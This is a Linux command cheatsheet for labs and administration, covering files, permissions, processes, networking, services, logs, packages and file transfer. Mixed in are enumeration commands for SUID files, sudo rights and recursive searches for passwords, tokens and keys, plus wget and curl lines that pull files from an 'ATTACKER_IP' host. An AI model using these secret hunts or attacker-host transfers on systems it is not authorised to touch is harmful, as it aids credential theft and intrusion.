Linux Commands

Executive Summary

This cheatsheet is a quick reference for Linux navigation, file handling, users, permissions, processes, networking, services, logs, and package management.

Use it during labs, enumeration, troubleshooting, and system administration.

System Information

Show kernel and system information:

uname -a

Show distribution:

cat /etc/os-release

Show hostname:

hostname

Show current user:

whoami

Show uptime:

uptime

Show environment variables:

env

Print current directory:

pwd

List files:

ls -la

Change directory:

cd /path/to/directory

Show directory tree:

tree

Find file by name:

find / -name "filename" 2>/dev/null

Find writable directories:

find / -writable -type d 2>/dev/null

File Viewing

View file:

cat file.txt

Page through file:

less file.txt

Show first lines:

head file.txt

Show last lines:

tail file.txt

Follow log output:

tail -f /var/log/syslog

File Searching

Search text in files:

grep -R "password" /path 2>/dev/null

Case-insensitive search:

grep -Ri "password" /path 2>/dev/null

Search command history:

history | grep ssh

Find files modified in the last day:

find /path -mtime -1

Find large files:

find / -type f -size +100M 2>/dev/null

Permissions

Show permissions:

ls -l file.txt

Change permissions:

chmod 755 file.sh

Add execute permission:

chmod +x file.sh

Change owner:

chown user:group file.txt

Find SUID files:

find / -perm -4000 -type f 2>/dev/null

Find SGID files:

find / -perm -2000 -type f 2>/dev/null

Users and Groups

Show current user ID and groups:

id

List logged-in users:

who

Show last logins:

last

List users:

cat /etc/passwd

List groups:

cat /etc/group

Show sudo privileges:

sudo -l

Processes

List processes:

ps aux

Process tree:

pstree -a

Search processes:

ps aux | grep PROCESS_NAME

Kill process by PID:

kill PID

Force kill:

kill -9 PID

Interactive process viewer:

top

Networking

Show interfaces:

ip addr

Show routes:

ip route

Show listening ports:

ss -tulpen

Show active connections:

ss -antp

Show ARP/neighbor table:

ip neigh

Test connection:

ping -c 4 TARGET_IP

Check TCP port:

nc -zv TARGET_IP PORT

DNS

Resolve hostname:

dig example.com

Reverse lookup:

dig -x TARGET_IP

Query specific record:

dig example.com MX

Use specific DNS server:

dig @DNS_SERVER example.com

Services

List running services:

systemctl --type=service --state=running

Check service status:

systemctl status SERVICE

Start service:

sudo systemctl start SERVICE

Stop service:

sudo systemctl stop SERVICE

Enable service on boot:

sudo systemctl enable SERVICE

Disable service on boot:

sudo systemctl disable SERVICE

Logs

Common log locations:

/var/log/syslog
/var/log/auth.log
/var/log/kern.log
/var/log/apache2/
/var/log/nginx/
/var/log/audit/

View authentication logs:

sudo tail -f /var/log/auth.log

Search failed logins:

grep -i "failed" /var/log/auth.log

View systemd logs:

journalctl

View logs for service:

journalctl -u SERVICE

Packages

Debian/Ubuntu update package list:

sudo apt update

Install package:

sudo apt install PACKAGE

Remove package:

sudo apt remove PACKAGE

List installed packages:

dpkg -l

Red Hat package install:

sudo dnf install PACKAGE

List RPM packages:

rpm -qa

Compression

Create tar archive:

tar -cvf archive.tar directory/

Extract tar archive:

tar -xvf archive.tar

Create gzip tar archive:

tar -czvf archive.tar.gz directory/

Extract gzip tar archive:

tar -xzvf archive.tar.gz

Zip directory:

zip -r archive.zip directory/

Unzip:

unzip archive.zip

File Transfer

Start HTTP server:

python3 -m http.server 8000

Download with wget:

wget http://ATTACKER_IP:8000/file

Download with curl:

curl -O http://ATTACKER_IP:8000/file

SCP upload:

scp file user@TARGET_IP:/tmp/

SCP download:

scp user@TARGET_IP:/tmp/file .

Useful One-Liners

Show top directories by size:

du -h --max-depth=1 /path 2>/dev/null | sort -h

Show current shell:

echo $SHELL

Show PATH:

echo $PATH

Find world-writable files:

find / -type f -perm -o+w 2>/dev/null

Find files containing possible secrets:

grep -RniE "password|passwd|secret|token|key" /path 2>/dev/null

Notes

Redirect errors with 2>/dev/null to reduce noise.
Use sudo only when needed.
Check logs before assuming a service is broken.
Confirm the distribution before using package commands.
Prefer ss over older netstat on modern Linux systems.